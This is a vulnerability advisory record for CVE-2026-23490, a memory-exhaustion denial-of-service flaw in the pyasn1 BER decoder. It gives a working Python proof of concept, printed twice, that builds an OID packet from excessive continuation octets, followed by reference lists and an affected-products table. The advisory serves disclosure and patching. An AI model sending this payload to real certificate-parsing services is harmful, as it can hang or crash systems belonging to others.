BREW-ANSIBLE@9-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-09-09 23:41 – Source website
VLAI
Summary
pyasn1 has a DoS vulnerability in decoder
Details
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS:
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource
# Deliberately set memory limit to display PoC
try:
resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
print("[*] Memory limit set to 100MB")
except:
print("[-] Could not set memory limit")
# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])
print(f"[*] Testing with {payload_size_mb}MB payload...")
payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)
# DER length encoding (supports up to 4GB)
if length < 128:
length_bytes = bytes([length])
elif length < 256:
length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
# 4 bytes can handle up to 4GB
length_bytes = b'\x84' + length.to_bytes(4, 'big')
# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload
print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
try:
print("[*] Decoding (this may take time or exhaust memory)...")
result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully')
print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string
print('[*] Converting to string...')
try:
str_result = str(result[0])
print(f'[+] String succeeded: {len(str_result)} chars')
if len(str_result) > 10000:
print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
except MemoryError:
print(f'[-] MemoryError during string conversion!')
except Exception as e:
print(f'[-] {type(e).__name__} during string conversion')
except MemoryError:
print('[-] MemoryError: Out of memory!')
except Exception as e:
print(f'[-] Error: {type(e).__name__}: {e}')
print("\n[*] Test completed")
Screenshots with the results:
DoS
Leak analysis
A potential heap leak was investigated but came back clean:
[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin
[*] First 64 bytes (hex):
01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[*] First 64 bytes (ASCII/hex dump):
0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..
0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....
0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @.....
0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[*] Digit distribution analysis:
'0': 10.1%
'1': 9.9%
'2': 10.0%
'3': 9.9%
'4': 9.9%
'5': 10.0%
'6': 10.0%
'7': 10.0%
'8': 9.9%
'9': 10.1%
Scenario
- An attacker creates a malicious X.509 certificate.
- The application validates certificates.
- The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
Severity
7.5 (High)
References
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "pyasn1",
"resource_purl": "pkg:pypi/pyasn1@0.6.1",
"upstream_fixed_in": "0.6.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@9",
"purl": "pkg:brew/ansible%409"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyasn1@0.6.1",
"name": "pyasn1",
"resource": "pyasn1",
"strategy": "registry",
"subject_version": "0.6.1"
}
]
},
"details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n print(\"[*] Memory limit set to 100MB\")\nexcept:\n print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n length_bytes = bytes([length])\nelif length \u003c 256:\n length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n # 4 bytes can handle up to 4GB\n length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n print(\"[*] Decoding (this may take time or exhaust memory)...\")\n result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n print(f\u0027[+] Decoded successfully\u0027)\n print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n # Try to convert to string\n print(\u0027[*] Converting to string...\u0027)\n try:\n str_result = str(result[0])\n print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n if len(str_result) \u003e 10000:\n print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n except MemoryError:\n print(f\u0027[-] MemoryError during string conversion!\u0027)\n except Exception as e:\n print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..\n 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....\n 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... \n 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.\n\n[*] Digit distribution analysis:\n \u00270\u0027: 10.1%\n \u00271\u0027: 9.9%\n \u00272\u0027: 10.0%\n \u00273\u0027: 9.9%\n \u00274\u0027: 9.9%\n \u00275\u0027: 10.0%\n \u00276\u0027: 10.0%\n \u00277\u0027: 10.0%\n \u00278\u0027: 9.9%\n \u00279\u0027: 10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
"id": "BREW-ansible@9-CVE-2026-23490",
"modified": "2026-09-09T23:41:06Z",
"published": "2026-08-13T16:35:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4148"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4147"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4146"
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{
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"url": "https://access.redhat.com/errata/RHSA-2026:4145"
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{
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"url": "https://access.redhat.com/errata/RHSA-2026:4144"
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{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4143"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4142"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4141"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4140"
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{
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"url": "https://access.redhat.com/errata/RHSA-2026:4139"
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{
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"url": "https://access.redhat.com/errata/RHSA-2026:4138"
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{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:39894"
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{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3959"
},
{
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"url": "https://access.redhat.com/errata/RHSA-2026:3958"
},
{
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"url": "https://access.redhat.com/errata/RHSA-2026:2302"
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{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41928"
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{
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"url": "https://access.redhat.com/errata/RHSA-2026:42644"
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{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4943"
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{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54757"
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{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5606"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-23490"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyasn1/pyasn1"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
},
{
"type": "WEB",
"url": "https://pypi.org/project/pyasn1"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2300"
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{
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"url": "https://access.redhat.com/errata/RHSA-2026:2299"
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{
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"url": "https://access.redhat.com/errata/RHSA-2026:2221"
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{
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{
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{
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{
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{
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{
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"url": "https://access.redhat.com/errata/RHSA-2026:14020"
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{
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"url": "https://access.redhat.com/errata/RHSA-2026:13553"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:13545"
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{
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"url": "https://access.redhat.com/errata/RHSA-2026:13512"
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pyasn1 has a DoS vulnerability in decoder",
"upstream": [
"GHSA-63vm-454h-vhhq",
"CVE-2026-23490",
"PYSEC-2026-1810"
]
}
CVE-2026-23490 (GCVE-0-2026-23490)
Vulnerability from cvelistv5 – Published: 2026-01-16 19:03 – Updated: 2026-09-17 12:04
VLAI
EPSS
VEX
Title
pyasn1 has a DoS vulnerability in decoder
Summary
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-16 19:23 UTC
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
60 references
| URL | Tags |
|---|---|
| https://github.com/pyasn1/pyasn1/security/advisor… | x_refsource_CONFIRM |
| https://github.com/pyasn1/pyasn1/commit/3908f1442… | x_refsource_MISC |
| https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 | x_refsource_MISC |
| https://lists.debian.org/debian-lts-announce/2026… | |
| https://access.redhat.com/security/cve/CVE-2026-23490 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2430472 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:4148 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2758 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:3959 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13512 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:54757 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:28042 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:3958 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13508 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17595 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17446 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2309 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4138 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:1905 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:3354 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:1906 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4146 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4145 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2483 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4147 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2486 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4144 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2221 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4139 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2303 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4140 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2300 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4142 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2302 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4143 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2299 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4141 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:1903 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:3359 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:1904 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2712 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2453 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2460 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:30088 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13553 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13545 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24866 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:5606 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17611 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:41928 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24977 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:42644 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:19712 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:37275 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:14020 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:39894 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24476 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24483 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:4943 | vendor-advisoryx_refsource_REDHAT |
Impacted products
119 products
| Vendor | Product | Version | |
|---|---|---|---|
| pyasn1 | pyasn1 |
Affected:
< 0.6.2
|
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 8 |
Unaffected:
0:0.6.3-1.el8ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el8 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 8 |
Unaffected:
0:4.6.26-1.el8ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el8 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 9 |
Unaffected:
0:0.6.3-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 9 |
Unaffected:
0:4.6.26-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 9 |
Unaffected:
0:0.6.3-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 9 |
Unaffected:
0:4.7.9-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
Unaffected:
0:4.16.0-13.el10_1.2 , < *
(rpm)
cpe:/o:redhat:enterprise_linux:10.1 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
Unaffected:
0:0.6.2-1.el10_1 , < *
(rpm)
cpe:/o:redhat:enterprise_linux:10.1 |
|
| Red Hat | Red Hat Enterprise Linux 10.0 Extended Update Support |
Unaffected:
0:4.16.0-5.el10_0.8 , < *
(rpm)
cpe:/o:redhat:enterprise_linux_eus:10.0 |
|
| Red Hat | Red Hat Enterprise Linux 10.0 Extended Update Support |
Unaffected:
0:0.6.2-1.el10_0.1 , < *
(rpm)
cpe:/o:redhat:enterprise_linux_eus:10.0 |
|
| Red Hat | Red Hat Enterprise Linux 7 Extended Lifecycle Support |
Unaffected:
0:4.1.1-61.el7_9.23 , < *
(rpm)
cpe:/a:redhat:rhel_extras_sap_els:7 cpe:/o:redhat:enterprise_linux:7 |
|
| Red Hat | Red Hat Enterprise Linux 7 Extended Lifecycle Support |
Unaffected:
0:0.1.9-7.el7_9.2 , < *
(rpm)
cpe:/o:redhat:rhel_els:7 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected:
0:4.2.1-129.el8_10.21 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected:
0:0.3.7-6.el8_10.1 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected:
0:4.9.0-54.el8_10.28 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:8::highavailability |
|
| Red Hat | Red Hat Enterprise Linux 8.2 Advanced Update Support |
Unaffected:
0:0.3.7-6.el8_2.1 , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.2 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support |
Unaffected:
0:4.2.1-65.el8_4.27 , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.4 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support |
Unaffected:
0:0.3.7-6.el8_4.1 , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.4 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support |
Unaffected:
0:4.1.1-90.el8_4.23 , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.4::highavailability |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On |
Unaffected:
0:4.2.1-65.el8_4.27 , < *
(rpm)
cpe:/a:redhat:rhel_eus_long_life:8.4 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On |
Unaffected:
0:0.3.7-6.el8_4.1 , < *
(rpm)
cpe:/a:redhat:rhel_eus_long_life:8.4 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On |
Unaffected:
0:4.1.1-90.el8_4.23 , < *
(rpm)
cpe:/a:redhat:rhel_eus_long_life:8.4::highavailability |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support |
Unaffected:
0:4.2.1-89.el8_6.21 , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support |
Unaffected:
0:0.3.7-6.el8_6.1 , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Telecommunications Update Service |
Unaffected:
0:4.2.1-89.el8_6.21 , < *
(rpm)
cpe:/a:redhat:rhel_tus:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Telecommunications Update Service |
Unaffected:
0:0.3.7-6.el8_6.1 , < *
(rpm)
cpe:/a:redhat:rhel_tus:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Telecommunications Update Service |
Unaffected:
0:4.9.0-16.el8_6.20 , < *
(rpm)
cpe:/a:redhat:rhel_tus:8.6::highavailability |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions |
Unaffected:
0:4.2.1-89.el8_6.21 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions |
Unaffected:
0:0.3.7-6.el8_6.1 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions |
Unaffected:
0:4.9.0-16.el8_6.20 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:8.6::highavailability |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Telecommunications Update Service |
Unaffected:
0:4.2.1-112.el8_8.16 , < *
(rpm)
cpe:/a:redhat:rhel_tus:8.8 |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Telecommunications Update Service |
Unaffected:
0:0.3.7-6.el8_8.1 , < *
(rpm)
cpe:/a:redhat:rhel_tus:8.8 |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Telecommunications Update Service |
Unaffected:
0:4.9.0-40.el8_8.16 , < *
(rpm)
cpe:/a:redhat:rhel_tus:8.8::highavailability |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions |
Unaffected:
0:4.2.1-112.el8_8.16 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:8.8 |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions |
Unaffected:
0:0.3.7-6.el8_8.1 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:8.8 |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions |
Unaffected:
0:4.9.0-40.el8_8.16 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:8.8::highavailability |
|
| Red Hat | Red Hat Enterprise Linux 9 |
Unaffected:
0:4.10.0-98.el9_7.5 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
Unaffected:
0:0.4.8-7.el9_7 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions |
Unaffected:
0:4.10.0-20.el9_0.28 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.0 |
|
| Red Hat | Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions |
Unaffected:
0:0.4.8-6.el9_0.1 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.0 |
|
| Red Hat | Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions |
Unaffected:
0:4.10.0-43.el9_2.19 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.2 |
|
| Red Hat | Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions |
Unaffected:
0:0.4.8-6.el9_2.1 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.2 |
|
| Red Hat | Red Hat Enterprise Linux 9.4 Extended Update Support |
Unaffected:
0:4.10.0-62.el9_4.22 , < *
(rpm)
cpe:/a:redhat:rhel_eus:9.4 |
|
| Red Hat | Red Hat Enterprise Linux 9.4 Extended Update Support |
Unaffected:
0:0.4.8-6.el9_4.1 , < *
(rpm)
cpe:/a:redhat:rhel_eus:9.4 |
|
| Red Hat | Red Hat Enterprise Linux 9.6 Extended Update Support |
Unaffected:
0:4.10.0-86.el9_6.15 , < *
(rpm)
cpe:/a:redhat:rhel_eus:9.6 |
|
| Red Hat | Red Hat Enterprise Linux 9.6 Extended Update Support |
Unaffected:
0:0.4.8-6.el9_6.1 , < *
(rpm)
cpe:/a:redhat:rhel_eus:9.6 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.17 |
Unaffected:
0:0.5.1-4.el9 , < *
(rpm)
cpe:/a:redhat:openshift_ironic:4.17::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.18 |
Unaffected:
0:0.5.1-4.el9 , < *
(rpm)
cpe:/a:redhat:openshift_ironic:4.18::el9 |
|
| Red Hat | Red Hat OpenStack Platform 16.2 |
Unaffected:
0:0.4.6-4.el8ost , < *
(rpm)
cpe:/a:redhat:openstack:16.2::el8 |
|
| Red Hat | Red Hat OpenStack Platform 17.1 for RHEL 8 |
Unaffected:
0:0.4.6-5.el8ost , < *
(rpm)
cpe:/a:redhat:openstack:17.1::el8 |
|
| Red Hat | Red Hat AI Inference Server 3.3 |
Unaffected:
1782353093 , < *
(rpm)
cpe:/a:redhat:ai_inference_server:3.3::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 |
Unaffected:
1777398315 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el8 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 |
Unaffected:
1777402264 , < *
(rpm)
